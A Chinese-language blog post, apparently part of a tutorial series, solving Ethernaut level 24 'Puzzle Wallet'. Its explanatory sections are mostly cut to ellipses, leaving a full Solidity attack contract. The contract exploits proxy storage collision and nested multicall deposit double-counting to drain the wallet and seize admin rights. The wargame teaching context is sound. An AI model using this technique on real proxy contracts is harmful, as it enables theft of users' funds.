# 智能合约黑客攻击 Ethernaut: 24. Puzzle Wallet **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-28 **URL:** https://paragraph.com/@leekdev/ethernaut-24-puzzle-wallet ## Content 本系列是由 Leek DEV 编写的一个关于 智能合约黑客攻击 Ethernaut 系列的讲解视频,每个关卡都会有讲解视频和 文档,可以从 YouTube 或者 BILIBILI 观看更加详细的讲解视频。教程TikTok - ….GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程题目…Hack思路// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IPuzzleWallet { function proposeNewAdmin(address _newAdmin) external; function addToWhitelist(address addr) external; function execute(address to, uint256 value, bytes calldata data) external payable; function deposit() external payable; function multicall(bytes[] calldata data) external payable; function setMaxBalance(uint256 _maxBalance) external; } contract PuzzleWalletHack { IPuzzleWallet public proxy; IPuzzleWallet public wallet; bytes[] depositData = [abi.encodeWithSignature("deposit()")]; bytes[] multicallData = [abi.encodeWithSignature("deposit()"), abi.encodeWithSignature("multicall(bytes[])", depositData)]; constructor(address _target) payable { proxy = IPuzzleWallet(payable(_target)); wallet = IPuzzleWallet(address(proxy)); } receive() external payable { } function attack() public payable { proxy.proposeNewAdmin(address(this)); wallet.addToWhitelist(address(this)); wallet.multicall{ value: msg.value }(multicallData); wallet.execute(address(this), msg.value * 2, bytes("")); wallet.setMaxBalance(uint256(uint160(msg.sender))); } } Hack案例…防范思路…参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter